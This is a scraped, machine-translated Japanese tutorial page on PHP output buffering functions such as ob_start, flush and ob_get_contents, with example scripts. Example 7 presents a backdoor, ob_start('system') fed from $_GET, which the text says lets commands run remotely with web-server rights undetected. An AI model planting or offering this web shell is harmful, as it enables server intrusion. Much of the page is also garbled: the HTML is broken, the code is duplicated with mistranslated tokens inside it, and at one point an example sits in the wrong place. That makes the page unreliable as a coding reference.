目次
Function
php.ini の関連設定項目
ホームページ バックエンド開発 PHPチュートリアル PHP出力バッファ制御 - Output Control機能応用の詳細説明

PHP出力バッファ制御 - Output Control機能応用の詳細説明

Jun 13, 2016 pm 12:10 PM
echo nbsp start

<p> PHP 出力バッファ制御 - 出力制御関数アプリケーションの詳細な説明 <br></p> <p> 出力バッファリングに関して、最初に話題になるのはバッファと呼ばれるものです。その役割を説明するための簡単な例を示します。ドキュメントを編集するとき、システムは保存する前にディスクに書き込みませんが、バッファがいっぱいになるか保存操作が実行されると、バッファに書き込みます。データはディスクに書き込まれます。 PHP の場合、エコーなどのすべての出力操作も最初に php バッファーに書き込まれ、スクリプトが実行されるか、強制出力キャッシュ操作が実行されるまで、データはブラウザーに表示されません。 </p> <p> 実際、PHP プログラマにとって、基本的にすべてのスクリプトには出力バッファリングが含まれますが、ほとんどの場合、出力バッファリングを変更する必要はありません。今回は例を使って、PHPの出力バッファ制御機能「Output Control」を詳しく分析してみましょう。 </p> <p> 次の例では、一般的なスクリプトで出力バッファリングがどのように存在するかを簡単に紹介します。 </p> <p> 次のスクリプトを実行する場合: </p> <p></p> <div id="highlighter_359589" class="syntaxhighlighter php"> <table border="0 " cellpacing="0" cellpadding="0"><tbody><tr> <td class="gutter"><div class="linenumber1index0alt2">1<table border="0" cellspacing="0" cellpadding="0"><tbody><tr> <td class="gutter"><div class="line number1 index0 alt2">1<div class="line number2 index1 alt1">2<div class="line number3 index2 alt2">3<div class="line number4 index3 alt1">4<div class="line number5 index4 alt2">5<div class="line number6 index5 alt1">6</div> </div> </div> </div> </div> </div></td> <td class="code"><div class="container"><div class="line number1 index0 alt2"><code class="php plain"><?php</code></p><div class="line number2 index1 alt1"><code class="php comments">/*例1*/</code></p><div class="line number3 index2 alt2"><code class="php functions">echo</code> <code class="php string">'oschina.net'</code><code class="php plain">;</code></p><div class="line number4 index3 alt1"><code class="php functions">echo</code> <code class="php string">'红薯'</code><code class="php plain">;</code></p><div class="line number5 index4 alt2"><code class="php functions">echo</code> <code class="php string">'虫虫'</code><code class="php plain">;</code></p><div class="line number6 index5 alt1"><code class="php plain">?></code></div></div></td> </tr></tbody></table> <divclass>2 <div class="linenumber3index2alt2">3<divclass>4<p><divclass>5<em><div class="linenumber6index5alt1">6<code>output_buffering</code> </div></em></divclass></p></divclass> </div></divclass> </div></td> <tdclass><div class="container"><div class="linenumber1index0 alt2"><code class="php plain"><?php</code></em><div class="linenumber2index1 alt1"><code class="php comments">/*例 1*/</code></p> <div class ="行番号3インデックス2 alt2"><code class="php function">echo</code> <code class="php string">'oschina.net'</code><code class="php plain ">; </code><p><div class="linenumber4index3alt1"><code class="php function">echo</code> <code class="php string">'サツマイモ'</code >< code class="php plain">;</code></p><div class="linenumber5 index4 alt2"><code class="php function">echo</code> <code class="php string "> 'チョンチョン'</code><code class="php plain">;</code><p><div class="linenumber6index5 alt1"><code class="php plain">?</code> ></p><p></td></tr></tbody></table><div id="highlighter_444259" class="syntaxhighlighter php"><table border="0" cellspacing="0" cellpadding="0"><tbody><tr><td class="gutter"><div class="line number1 index0 alt2">1</p><div class="line number2 index1 alt1">2</p><div class="line number3 index2 alt2">3</p><div class="line number4 index3 alt1">4</p><div class="line number5 index4 alt2">5</p><div class="line number6 index5 alt1">6</p><div class="line number7 index6 alt2">7</p><div class="line number8 index7 alt1">8</p></td><td class="code"><div class="container"><div class="line number1 index0 alt2"><code class="php plain"><?php</code></p><div class="line number2 index1 alt1"><code class="php comments">/*例2*/</code></p><div class="line number3 index2 alt2"><code class="php functions">echo</code> <code class="php string">'oschina.net'</code><code class="php plain">;</code></p><div class="line number4 index3 alt1"><code class="php plain">sleep(1);</code></p><div class="line number5 index4 alt2"><code class="php functions">echo</code> <code class="php string">'红薯'</code><code class="php plain">;</code></p><div class="line number6 index5 alt1"><code class="php plain">sleep(1);</code></p><div class="line number7 index6 alt2"><code class="php functions">echo</code> <code class="php string">'虫虫'</code><code class="php plain">;</code></p><div class="line number8 index7 alt1"><code class="php plain">?></code></div></div></tdclass> </tr></tbody></table> スクリプトは最初のエコーの実行を終了すると、代わりにブラウザーに移動しません。対応するコンテンツを出力するブラウザの内容はバッファに出力され、以下同様に 3 つのエコーがすべて実行されると (つまり、スクリプトが終了すると)、すべてのバッファの内容がブラウザに出力されます。もちろん、このバッファにはサイズ制限もあり、php.ini の オプションに従って設定されます。これについては、次の記事で詳しく説明します。この章で説明する出力バッファ制御は、スクリプトの終了前にバッファ内のコンテンツを操作することです。 この例は、出力バッファ制御の適用をより適切に反映できます: 次のコードを実行する場合: <table border="0" cellpacing=" 0 " cellpadding="0"><tbody><tr> <td class="gutter"><div class="linenumber1index0alt2">1<divclass>2<div class="linenumber3index2alt2">3<divclass>4<divclass>5<div class="linenumber6index5alt1">6<div class="linenumber7index6alt2">7<div class="linenumber8index7alt1">8</div> </div> </div></divclass></divclass> </div></divclass> </div></td> <td class=" code"><div class="container"><div class="linenumber1index0 alt2"><codeclass plain><?php</code><🎜><div class="linenumber2index1 alt1"><code class="php comments">/*例 2*/</code><🎜><div class="linenumber3index2 alt2"><code class="php function">echo</code> <code class="php string">'oschina.net'</code><code class="php plain">;</code><🎜><div class="linenumber4index3alt1"><codeclass= "php plain">sleep(1);</code><🎜><div class="linenumber5index4alt2"><code class="php function">echo</code> <code class="php string " >'サツマイモ'</code><code class="php plain">;</code><🎜><div class="linenumber6index5 alt1"><code class="php plain">sleep(1) ;</code><🎜><div class="linenumber7index6alt2"><code class="php function">echo</code> <code class="php string">'チョンチョン'</code> < code class="php plain">;</code><🎜><div class="linenumber8index7 alt1"><code class="php plain">?> </codeclass></div></div></td> </tr></tbody></table> <p> 出力結果を確認するには少なくとも 2 秒待つ必要があるので、リアルタイムに表示できますか?つまり、最初のエコーが実行されると、対応するコンテンツが出力されます。このとき、出力バッファー制御関数を使用してバッファーを操作する必要があります。実装コードは次のとおりです。 🎜></p> <table border=" 0" cellpacing="0" cellpadding="0"><tbody><tr> <td class="gutter"><div class="linenumber1index0 alt2">12<p><divclass>3<div id="highlighter_621775" class="syntaxhighlighter php"><divclass>4<table border="0" cellspacing="0" cellpadding="0"><tbody><tr> <td class="gutter"><div class="line number1 index0 alt2">1<div class="line number2 index1 alt1">2<div class="line number3 index2 alt2">3<div class="line number4 index3 alt1">4<div class="line number5 index4 alt2">5<div class="line number6 index5 alt1">6<div class="line number7 index6 alt2">7<div class="line number8 index7 alt1">8<div class="line number9 index8 alt2">9<div class="line number10 index9 alt1">10<div class="line number11 index10 alt2">11<div class="line number12 index11 alt1">12<div class="line number13 index12 alt2">13<div class="line number14 index13 alt1">14<div class="line number15 index14 alt2">15</div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div></td> <td class="code"><div class="container"><div class="line number1 index0 alt2"><code class="php plain"><?php</code></p><div class="line number2 index1 alt1"><code class="php comments">/*例3*/</code></p><div class="line number3 index2 alt2"><code class="php functions">echo</code> <code class="php functions">str_pad</code><code class="php plain">(</code><code class="php string">''</code><code class="php plain">, 1024);</code><code class="php comments">//使缓冲区溢出</code></p><div class="line number4 index3 alt1"><code class="php plain">ob_start();</code><code class="php comments">//打开缓冲区</code></p><div class="line number5 index4 alt2"><code class="php functions">echo</code> <code class="php string">'oschina.net'</code><code class="php plain">;</code></p><div class="line number6 index5 alt1"><code class="php plain">ob_flush();</code><code class="php comments">//送出当前缓冲内容,不会输出</code></p><div class="line number7 index6 alt2"><code class="php functions">flush</code><code class="php plain">();</code><code class="php comments">//输出送出的缓冲内容</code></p><div class="line number8 index7 alt1"><code class="php plain">sleep(1);</code></p><div class="line number9 index8 alt2"><code class="php functions">echo</code> <code class="php string">'红薯'</code><code class="php plain">;</code></p><div class="line number10 index9 alt1"><code class="php plain">ob_flush();</code><code class="php comments">//送出当前缓冲内容,不会输出</code></p><div class="line number11 index10 alt2"><code class="php functions">flush</code><code class="php plain">();</code><code class="php comments">//输出送出的缓冲内容</code></p><div class="line number12 index11 alt1"><code class="php plain">sleep(1);</code></p><div class="line number13 index12 alt2"><code class="php functions">echo</code> <code class="php string">'虫虫'</code><code class="php plain">;</code></p><div class="line number14 index13 alt1"><code class="php plain">ob_end_flush();</code><code class="php comments">//输出并关闭缓冲</code></p><div class="line number15 index14 alt2"><code class="php plain">?></code></div></div></td> </tr></tbody></table> <divclass number5index4 alt2>5<div class="linenumber6index5alt1">6<divclass>7<divclass> 8<div class="linenumber9index8alt2">9<divclass>10<divclass>1112<divclass>13<divclass>14<divclass number15 index14 alt2>15</divclass></divclass></divclass></divclass></divclass> </div></divclass></divclass> </div></divclass></divclass></div></divclass></p> </div></td> <td class="code"><div class="container"><div class="linenumber1index0 alt2"> <code class="php plain">&lt ;?php</code> <div class="linenumber2index1alt1"><codeclass comments>/*例 3*/<div class="linenumber3 Index2 alt2"> <code class="php function">echo</code> <code class="php function">str_pad</code><code class="php plain">(</code><code class="php string">" </code><code class="php plain">, 1024);</code><code class="php comments">// バッファをオーバーフローさせます</code><code class="php plain">ob_start();</code><code class="php comments">//バッファを開く</code><div class="行番号5インデックス4 alt2"> <code class="php function">echo</code> <code class="php string">'oschina.net'</code><code class="php plain">; </code><div class="linenumber6index5alt1"> <code class="php plain">ob_flush();</code><code class="php comments">// 現在のバッファを送信するコンテンツ、出力なし</code><div class="linenumber7index6alt2"> <code class="php function">フラッシュ</code><code class="php plain">(); code><code class="php comments">//送信バッファの内容を出力する</code><div class="linenumber8index7alt1"><codeclass plain>sleep(1); <div class="linenumber9 index8 alt2"> <code class="php function">echo</code> <code class="php string">'サツマイモ'</code>;<div class="linenumber10index9 alt1"> <code class="php plain">ob_flush();</code><code class="php comments">//Send 現在のバッファの内容は出力されません</code><div class="linenumber11index10alt2"> <code class="phpfunctions">flush</code><code class="php plain">() ;</code><code class="php comments">// 送信されたバッファの内容を出力します</code><div class="linenumber12index11alt1"><codeclass plain>sleep( 1);<div class="linenumber13index12alt2"> <code class="php function">echo</code> <code class="php string">'チョンチョン' code><code class="php plain">;</code><div class="linenumber14index13 alt1"><code class="php plain">ob_end_flush();<code class="php comments">// 出力とバッファリングのクローズ</code><div class="linenumber15index14alt2"><code class="php plain">?>コード></code></div></code></div></code> </div></codeclass></div> </div> </div> </div></codeclass></div></code> </div> </div> </div> </div></codeclass></div> </div></div></td> </tr></tbody></table> <p> 简单点でも次のことができます:</p> <p></p> <div id="highlighter_301769" class="syntaxhighlighter php"> <table border="0" cellpacing="0" cellpadding="0"><tbody><tr><div class="linenumber1index0alt2">1<table border="0" cellspacing="0" cellpadding="0"><tbody><tr> <td class="gutter"><div class="line number1 index0 alt2">1<div class="line number2 index1 alt1">2<div class="line number3 index2 alt2">3<div class="line number4 index3 alt1">4<div class="line number5 index4 alt2">5<div class="line number6 index5 alt1">6<div class="line number7 index6 alt2">7<div class="line number8 index7 alt1">8<div class="line number9 index8 alt2">9<div class="line number10 index9 alt1">10<div class="line number11 index10 alt2">11</div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div></td> <td class="code"><div class="container"><div class="line number1 index0 alt2"><code class="php plain"><?php</code></p><div class="line number2 index1 alt1"><code class="php comments">/*例4*/</code></p><div class="line number3 index2 alt2"><code class="php functions">echo</code> <code class="php functions">str_pad</code><code class="php plain">(</code><code class="php string">''</code><code class="php plain">, 1024);</code><code class="php comments">//使缓冲区溢出</code></p><div class="line number4 index3 alt1"><code class="php functions">echo</code> <code class="php string">'oschina.net'</code><code class="php plain">;</code></p><div class="line number5 index4 alt2"><code class="php functions">flush</code><code class="php plain">();</code><code class="php comments">//输出送出的缓冲内容</code></p><div class="line number6 index5 alt1"><code class="php plain">sleep(1);</code></p><div class="line number7 index6 alt2"><code class="php functions">echo</code> <code class="php string">'红薯'</code><code class="php plain">;</code></p><div class="line number8 index7 alt1"><code class="php functions">flush</code><code class="php plain">();</code><code class="php comments">//输出送出的缓冲内容</code></p><div class="line number9 index8 alt2"><code class="php plain">sleep(1);</code></p><div class="line number10 index9 alt1"><code class="php functions">echo</code> <code class="php string">'虫虫'</code><code class="php plain">;</code></p><div class="line number11 index10 alt2"><code class="php plain">?></code></div></div></td> </tr></tbody></table> <divclass>2<divclass>3<div class="linenumber4index3alt1">4<divclass>5<divclass>6<div>7<divclass>8<divclass>9<divclass alt1>10<div class="linenumber11index10 alt2">11<td class="code"><div class="container"><div class="linenumber1index0 alt2"><code class="php plain"><?php</code><🎜><div class="linenumber2index1 alt1"><code class="php comments">/*例4*/< /code><🎜><div class="linenumber3index2alt2"><code class="php function">echo</code> <code class="php function">str_pad</code><code class=" php plain">(</code><code class="php string">''</code><code class="php plain">, 1024);</code><code class="php comments"> //使用缓冲区オーバーアウト</code><🎜><div class="linenumber4index3alt1"><code class="php function">echo</code><code class="php string">'oschina. net'</code><code class="php plain">;</code><🎜><div class="linenumber5index4alt2"><code class="phpfunctions">flush</code><code class="php plain">();</code><code class="php comments">//送出される缓冲内容</code><🎜><div class="linenumber6index5alt1"><code class="php plain">sleep(1);</code><🎜><div class="linenumber7index6alt2"><code class="php function">echo</code> <code class="php string">'红薯'</code><code class="php plain">;</code><🎜><div class="linenumber8index7alt1"><code class="phpfunctions">flush</ code><code class="php plain">();</code><code class="php comments">//送出される缓冲内容</code><🎜><div class="linenumber9index8alt2 "><code class="php plain">sleep(1);</code><🎜><div class="linenumber10index9 alt1"><code class="php function">echo</code> <code class="php string">'虫虫'</code><code class="php plain">;</code><🎜><div class="linenumber11index10alt2"><code class="php plain ">?></code></div></div></td> </div></divclass></divclass></divclass> </div></divclass></divclass> </div></divclass></divclass> </div></tr></tbody></table> <p> 関連関数の使い方については、以下で紹介しますが、ここでは出力バッファ制御関数の応用例を紹介するだけです。もちろん、出力バッファ制御関数の役割はありません。ここでは、出力バッファ制御機能をどこに適用できるかを見てみましょう。 </p> <h3 id="Function">Function</h3> <ol> <li>PHP では、header()、session_start()、setcookie() などのヘッダー ファイルを送信し、出力バッファ制御関数は、エラーを報告せずにこれらの関数の前に出力できます。実際には、これを行う必要はなく、非常にまれな用途です。 </li> <li>静的キャッシュ ファイルの生成や gzip 圧縮出力の実行など、出力コンテンツを処理します。これはよく使用される機能であり、後ほど詳しく紹介します。 </li> <li>phpinfo()、var_dump() などの取得できない関数出力をキャプチャします。これらの関数はブラウザに操作結果を表示します。これらの結果を処理したい場合は、出力バッファ制御関数を使用します。は良いアプローチです。簡単に言うと、この種の関数には戻り値がありません。これらの関数の出力データを取得するには、出力バッファ制御関数を使用する必要があります。 </li> <li>最後のアプリケーションは、リアルタイムでデータを出力する導入部のメソッド例です。 </li> </ol> <h3 id="php-ini-の関連設定項目">php.ini の関連設定項目</h3> <p> php.ini の出力バッファ制御に関連するオプションを見てみましょう。 合計 3 つのオプションがあります。 ><em><code>output_buffering</code> 、 </em><em><code>output_handler</code> および </em><em><code>implicit_flush</code></em></p> <ol> <li><em><code>output_buffering</code> デフォルトはオフです。に設定すると、すべてのスクリプトで出力バッファが自動的に開きます。例 3 では、ob_start() 関数が明示的に呼び出されることなく、各スクリプトで自動的に実行されます。バッファに保存できる最大バイト数を表す整数に設定することもできます。この構成項目については、以下の例 1 の説明で説明しました。 </em></li> <li><em><code>output_handler</code> デフォルトは null で、その値は組み込み関数名にのみ設定できます。その機能は、定義された関数を使用してスクリプトのすべての出力を処理することです。その使用法は、以下で紹介する ob_start('function_name') と似ています。 </em></li> <li><em><code>implicit_flush</code> デフォルトはオフです。オンに設定すると、PHP は出力後にバッファーの内容を自動的に送信します。例 4 を例にとると、flush() は各出力の後に自動的に実行されます。もちろん、有効な出力には echo や print などの関数だけでなく、HTML セグメントも含まれます。 </em></li> </ol>出力制御関数の詳細な説明 <h3></h3> 次に、例を使用して関連する関数を分析します。以下の内容を十分に理解すると、出力制御関数の内容がより明確に理解できると思います。出力バッファ制御機能。 <p></p> <p> 1. bool ob_start ([ callback $output_callback [, int $chunk_size [, bool $erase ]]] )<strong></strong></p> この関数は例 3 で使用されています。名前からその意味は誰でも理解できるでしょう。出力バッファ処理の次のステップのために出力バッファを開くということです。ここで言及したいのは、そのパラメーターの使用法です。最初のパラメーターはコールバック関数を渡す必要があり、この関数はバッファーの内容をパラメーターとして受け取り、文字列を返す必要があります。バッファの送信とは、ob_flush() などの関数の実行またはスクリプトの実行の完了を指します。 ob_flush() 関数については、簡単な例を見ることで理解できます: <p></p> <p></p> <div id="highlighter_177154" class="syntaxhighlighter php"> <table border="0" cellspacing="0" cellpadding="0"><tbody><tr> <td class="gutter">1<div class="line number1 index0 alt2"> 2<div class="line number2 index1 alt1">3<div class="line number3 index2 alt2">4<div class="line number4 index3 alt1">5<div class="line number5 index4 alt2">6<div class="line number6 index5 alt1">7<div class="line number7 index6 alt2">8<div class="line number8 index7 alt1">9<div class="line number9 index8 alt2"></div> </div> </div> </div> </div> </div> </div> </div> </div> </td> <td class="code"><div class="container"><div class="line number1 index0 alt2"><code class="php plain"><?php</code></p><div class="line number2 index1 alt1"><code class="php comments">/*例5*/</code></p><div class="line number3 index2 alt2"><code class="php plain">ob_start(</code><code class="php string">'handleString'</code><code class="php plain">);</code></p><div class="line number4 index3 alt1"> <code class="php functions">echo</code><code class="php string">'123456'</code><code class="php plain">;</code></p><div class="line number5 index4 alt2"> <code class="php spaces"> </code></p><div class="line number6 index5 alt1"> <code class="php keyword">function</code><code class="php plain">handleString(</code><code class="php variable">$string</code><code class="php plain">){</code></p><div class="line number7 index6 alt2"><code class="php spaces"> </code> <code class="php keyword">return</code><code class="php plain">md5(</code><code class="php variable">$string</code><code class="php plain">);</code><div class="line number8 index7 alt1"><code class="php plain">}</code></p><div class="line number9 index8 alt2"><code class="php plain">?></code></div></div></td> </tr></tbody></table> <p> 実行後の結果は次のとおりです: </p> <p></p> <div id="highlighter_44086" class="syntaxhighlighter php"> <table border="0" cellpacing="0" cellpadding="0"><tbody><tr><td class="gutter"><div class="linenumber1index0alt2"> 1<table border="0" cellspacing="0" cellpadding="0"><tbody><tr> <td class="gutter"><div class="line number1 index0 alt2">1</div></td> <td class="code"><div class="container"><div class="line number1 index0 alt2"><code class="php plain">e10adc3949ba59abbe56e057f20f883e</code></div></div></td> </tr></tbody></table> <td class="code"><div class="container"><div class="linenumber1index0 alt2"> <code class="php plain">e10adc3949ba59abbe56e057f20f883e</code><p></p> <p></p> <p></p> <div id="highlighter_13842" class="syntaxhighlighter php"> <table border="0" cellspacing="0" cellpadding="0"><tbody><tr> <td class="gutter"><div class="line number1 index0 alt2">1<div class="line number2 index1 alt1">2<div class="line number3 index2 alt2">3<div class="line number4 index3 alt1">4<div class="line number5 index4 alt2">5</div> </div> </div> </div> </div></td> <td class="code"><div class="container"><div class="line number1 index0 alt2"><code class="php plain"><?php</code></p><div class="line number2 index1 alt1"><code class="php comments">/*例6*/</code></p><div class="line number3 index2 alt2"><code class="php plain">ob_start(</code><code class="php string">'ob_gzhandler'</code><code class="php plain">);</code></p><div class="line number4 index3 alt1"><code class="php functions">echo</code> <code class="php functions">str_repeat</code><code class="php plain">(</code><code class="php string">'oschina'</code><code class="php plain">, 1024);</code></p><div class="line number5 index4 alt2"><code class="php plain">?></code></div></div></td> </tr></tbody></table> これは、出力コンテンツが md5 暗号化されていることを意味します。つまり、バッファーのコンテンツが出力されるときに、定義した handleString は次のようになります。機能を実行します。 <p> より実際的な例を見てみましょう。gzip を使用して Web ページのコンテンツを圧縮して出力するのが一般的です。コードは次のとおりです。</p> <p><img src="/static/imghw/default1.png" data-src="/img/2014/12/04/10511866.png" class="lazy" alt=""></p> <table border="0" cellpacing="0" cellpadding="0"><tbody><tr><td class="gutter"><div class="linenumber1index0alt2">1<divclass>2 <p></p> <div class="linenumber3index2 alt2">3<div class="linenumber4index3alt1">4<p></p> <div class="linenumber5index4alt2">5<img src="/static/imghw/default1.png" data-src="/img/2014/12/04/10511867.png" class="lazy" alt=""><td class="code"><div class="container"><div class="linenumber1index0 alt2"><code class="php plain"><?php</code><p><div class="linenumber2index1alt1"><codeclass="php comments">/*例 6*/</code></p><div class="linenumber3index2 alt2"><code class=" php plain" >ob_start(</code><code class="php string">'ob_gzhandler'</code><code class="php plain">);</code><p><div class="line Number4 Index3 alt1 "><code class="php function">echo</code> <code class="php function">str_repeat</code><code class="php plain">(</code><code class ="php string">'oschina'</code><code class="php plain">, 1024);</code><em><div class="linenumber5index4 alt2"><code> chunk_size</code></em> <em> <code>erase</code></em></p><p></p><ol><li> そのページ サイズは次のとおりです: </li><li></li></ol><p> ob_gzhandler パラメーターを使用しない場合、そのページサイズ 対象: <div id="highlighter_905520" class="syntaxhighlighter php"><table border="0" cellspacing="0" cellpadding="0"><tbody><tr><td class="gutter"><div class="line number1 index0 alt2">1</p><div class="line number2 index1 alt1">2</p><div class="line number3 index2 alt2">3</p><div class="line number4 index3 alt1">4</p></td><td class="code"><div class="container"><div class="line number1 index0 alt2"><code class="php plain"><?php</code></p><div class="line number2 index1 alt1"><code class="php comments">/*例7*/</code></p><div class="line number3 index2 alt2"><code class="php variable">$cmd</code> <code class="php plain">= </code><code class="php string">'system'</code><code class="php plain">;ob_start(</code><code class="php variable">$cmd</code><code class="php plain">);</code><code class="php functions">echo</code> <code class="php string">"$_GET[a]"</code><code class="php plain">;ob_end_flush();</code></p><div class="line number4 index3 alt1"><code class="php plain">?></code></div></div></td> </div> </div> </div></divclass> </div></td></tr></tbody></table> サイズの違いがはっきりとわかるため、ページ圧縮出力に ob_start() を使用することは非常に実用的な関数です。 そして 2 番目のパラメータ はバッファのバイト長です。バッファの内容がこの長さより大きい場合、バッファから送信されます。デフォルト値は次のとおりです。 0 は、最後に呼び出される関数を表します。 3 番目のパラメータ が flase に設定されている場合、スクリプトが実行されるまでバッファは削除されないことを意味します (後述する)。間違いが報告されます。 ob_start() の使用法は非常にたくさんありますが、特別な注意が必要な点が 2 つあります。 ob_start() は繰り返し呼び出すことができます。つまり、複数の呼び出しが可能です。複数の ob_start が最初のパラメータを定義している場合、つまりすべてのコールバック関数が定義されている場合、それらはネストされた順序で順番に実行されます。バッファのスタッキングとネストについては、ob_get_level 関数で詳しく説明するので、ここでは詳しく説明しません。 ob_start() それほど明らかではありませんが、致命的なバックドアの使用法もあります。実装コードは次のとおりです。 <table border="0" cellpacing="0" cellpadding="0"><tbody><tr><td class="gutter"><div class="linenumber1index0alt2">1<divclass>2 <div class="linenumber3index2alt2">3<divclass>4<td class="code"><div class="container"> <code class="php plain"><?php</code><🎜><div class="linenumber2index1 alt1"><code class="php comments" > /*例 7*/</code><🎜><div class="linenumber3index2alt2"><code class="php variable">$cmd</code> <code class="php plain">= </code><code class="php string">'system'</code><code class="php plain">;ob_start(</code><code class="php variable">$cmd</code > <code class="php plain">);</code><code class="php function">echo</code> <code class="php string">"$_GET[a]"</code> < code class="php plain">;ob_end_flush();</code><🎜><div class="linenumber4index3 alt1"><🎜><🎜><🎜><🎜><🎜><🎜> < 🎜></p></p><p> ob_start の上記の使用法を理解していれば、このコードは ob_start 関数を使用してバッファ出力の内容をパラメータとして set 関数に渡し、これを有効にします。 Web サーバー権限を使用して、検出されることなくコマンドをリモートで実行できます。 </p><p><strong> 2. string ob_get_contents ( void )</strong></p><p> この関数は、現時点でバッファの内容を取得するために使用されます。次の例は、その使用方法をよりよく理解することができます。 🎜></p><p><table border="0" cellpacing="0" cellpadding="0"><tbody><tr><td class="gutter"><div class="行番号1 インデックス0 alt2" >1<div id="highlighter_776576" class="syntaxhighlighter php"><div class="linenumber2index1alt1">2<table border="0" cellspacing="0" cellpadding="0"><tbody><tr><td class="gutter"><div class="line number1 index0 alt2">1</p><div class="line number2 index1 alt1">2</p><div class="line number3 index2 alt2">3</p><div class="line number4 index3 alt1">4</p><div class="line number5 index4 alt2">5</p><div class="line number6 index5 alt1">6</p><div class="line number7 index6 alt2">7</p><div class="line number8 index7 alt1">8</p><div class="line number9 index8 alt2">9</p><div class="line number10 index9 alt1">10</p><div class="line number11 index10 alt2">11</p></td><td class="code"><div class="container"><div class="line number1 index0 alt2"><code class="php plain"><?php</code></p><div class="line number2 index1 alt1"><code class="php comments">/*例8*/</code></p><div class="line number3 index2 alt2"><code class="php functions">echo</code> <code class="php functions">str_pad</code><code class="php plain">(</code><code class="php string">''</code><code class="php plain">, 1024);</code><code class="php comments">//使缓冲区溢出</code></p><div class="line number4 index3 alt1"><code class="php plain">ob_start();</code><code class="php comments">//打开缓冲区</code></p><div class="line number5 index4 alt2"><code class="php plain">phpinfo();</code></p><div class="line number6 index5 alt1"><code class="php variable">$string</code> <code class="php plain">= ob_get_contents();</code><code class="php comments">//获取缓冲区内容</code></p><div class="line number7 index6 alt2"><code class="php variable">$re</code> <code class="php plain">= </code><code class="php functions">fopen</code><code class="php plain">(</code><code class="php string">'./phpinfo.txt'</code><code class="php plain">, </code><code class="php string">'wb'</code><code class="php plain">);</code></p><div class="line number8 index7 alt1"><code class="php plain">fwrite(</code><code class="php variable">$re</code><code class="php plain">, </code><code class="php variable">$string</code><code class="php plain">);</code><code class="php comments">//将内容写入文件</code></p><div class="line number9 index8 alt2"><code class="php plain">fclose(</code><code class="php variable">$re</code><code class="php plain">);</code></p><div class="line number10 index9 alt1"><code class="php plain">ob_end_clean();</code><code class="php comments">//清空并关闭缓冲区</code></p><div class="line number11 index10 alt2"><code class="php plain">?></code> </div></td></divclass> </div></divclass> </div></td></tr></tbody></table> <divclass>3<divclass>4 <div class="linenumber5index4alt2">5<divclass>6<divclass>7<div class=" linenumber8index7alt1">8<divclass>9<divclass>10<divclass>11</divclass></divclass></divclass> </div></divclass></divclass> </div></divclass></divclass> </div> </div></div></td> <td class="code"><div class="container"><div class="linenumber1index0 alt2"><code class="php plain"><?php< /code><🎜><div class="linenumber2index1alt1"><codeclass="php comments">/*例 8*/</code><🎜><div class="linenumber3index2alt2"> <code class="php function">echo</code> <code class="php function">str_pad</code><code class="php plain">(</code><code class="php string" >''</code><code class="php plain">, 1024);</code><code class="php comments">// バッファをオーバーフローさせる</code><🎜><div class= "行番号4 Index3 alt1"><code class="php plain">ob_start();</code><code class="php comments">//バッファを開く</code><🎜><div class=" 行番号5 index4 alt2"><code class="php plain">phpinfo();</code><🎜><div class="linenumber6index5 alt1"><code class="php variable">$string</ code> <code class="php plain">= ob_get_contents();</code><code class="php comments">//バッファの内容を取得する</code><🎜><div class="linenumber7index6alt2"> <code class="php variable">$re</code> <code class="php plain">= </code><code class="php function">fopen</code><code class= "php plain ">(</code><code class="php string">'./phpinfo.txt'</code><code class="php plain">, </code><code class="php string"> 'wb'</code><code class="php plain">);</code><🎜><div class="linenumber8index7 alt1"><code class="php plain">fwrite( </code ><code class="php 変数">$re</code><code class="php plain">、</code><code class="php 変数">$string</code><code class=" php plain">);</code><code class="php comments">// コンテンツをファイルに書き込みます</code><🎜><div class="linenumber9index8alt2"><code class="php plain ">fclose(</code><code class="php variable">$re</code><code class="php plain">);</code><🎜><div class=" linenumber10index9alt1 "><code class="php plain">ob_end_clean();</code><code class="php comments">//バッファをクリアして閉じる</code><🎜><div class= "linenumber11index10 alt2"><code class="php plain">?></code></div></div></td> </div></td></tr></tbody></table> <p> この例を実行すると、ブラウザーは出力を生成しないことがわかりますが、現在のディレクトリに phpinfo.txt ファイルが存在し、今回は予期される出力が保存されます。この例は、上記の 3 番目の点で述べた状況も示しています。出力内容を取得し、実際の状況に応じて処理できます。 </p> <p><strong> 3. int ob_get_length ( void )</strong></p> <p> この関数は、バッファーの内容の長さを取得するために使用されます。例 8 は、この関数の使用法を示すために少し変更されています。 : </p> <p></p> <div id="highlighter_406008" class="syntaxhighlighter php"> <table border="0" cellpacing="0" cellpadding="0"><tbody><tr> <td class="gutter"><div class="行番号 1 インデックス 0 alt2">1<table border="0" cellspacing="0" cellpadding="0"><tbody><tr> <td class="gutter"><div class="line number1 index0 alt2">1<div class="line number2 index1 alt1">2<div class="line number3 index2 alt2">3<div class="line number4 index3 alt1">4<div class="line number5 index4 alt2">5<div class="line number6 index5 alt1">6<div class="line number7 index6 alt2">7<div class="line number8 index7 alt1">8<div class="line number9 index8 alt2">9<div class="line number10 index9 alt1">10<div class="line number11 index10 alt2">11<div class="line number12 index11 alt1">12<div class="line number13 index12 alt2">13</div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div></td> <td class="code"><div class="container"><div class="line number1 index0 alt2"><code class="php plain"><?php</code></p><div class="line number2 index1 alt1"><code class="php comments">/*例9*/</code></p><div class="line number3 index2 alt2"><code class="php functions">echo</code> <code class="php functions">str_pad</code><code class="php plain">(</code><code class="php string">''</code><code class="php plain">, 1024);</code><code class="php comments">//使缓冲区溢出</code></p><div class="line number4 index3 alt1"><code class="php plain">ob_start();</code><code class="php comments">//打开缓冲区</code></p><div class="line number5 index4 alt2"><code class="php plain">phpinfo();</code></p><div class="line number6 index5 alt1"><code class="php variable">$string</code> <code class="php plain">= ob_get_contents();</code><code class="php comments">//获取缓冲区内容</code></p><div class="line number7 index6 alt2"><code class="php variable">$length</code> <code class="php plain">= ob_get_length();</code><code class="php comments">//获取缓冲区内容长度</code></p><div class="line number8 index7 alt1"><code class="php variable">$re</code> <code class="php plain">= </code><code class="php functions">fopen</code><code class="php plain">(</code><code class="php string">'./phpinfo.txt'</code><code class="php plain">, </code><code class="php string">'wb'</code><code class="php plain">);</code></p><div class="line number9 index8 alt2"><code class="php plain">fwrite(</code><code class="php variable">$re</code><code class="php plain">, </code><code class="php variable">$string</code><code class="php plain">);</code><code class="php comments">//将内容写入文件</code></p><div class="line number10 index9 alt1"><code class="php plain">fclose(</code><code class="php variable">$re</code><code class="php plain">);</code></p><div class="line number11 index10 alt2"><code class="php plain">var_dump(</code><code class="php variable">$length</code><code class="php plain">); </code><code class="php 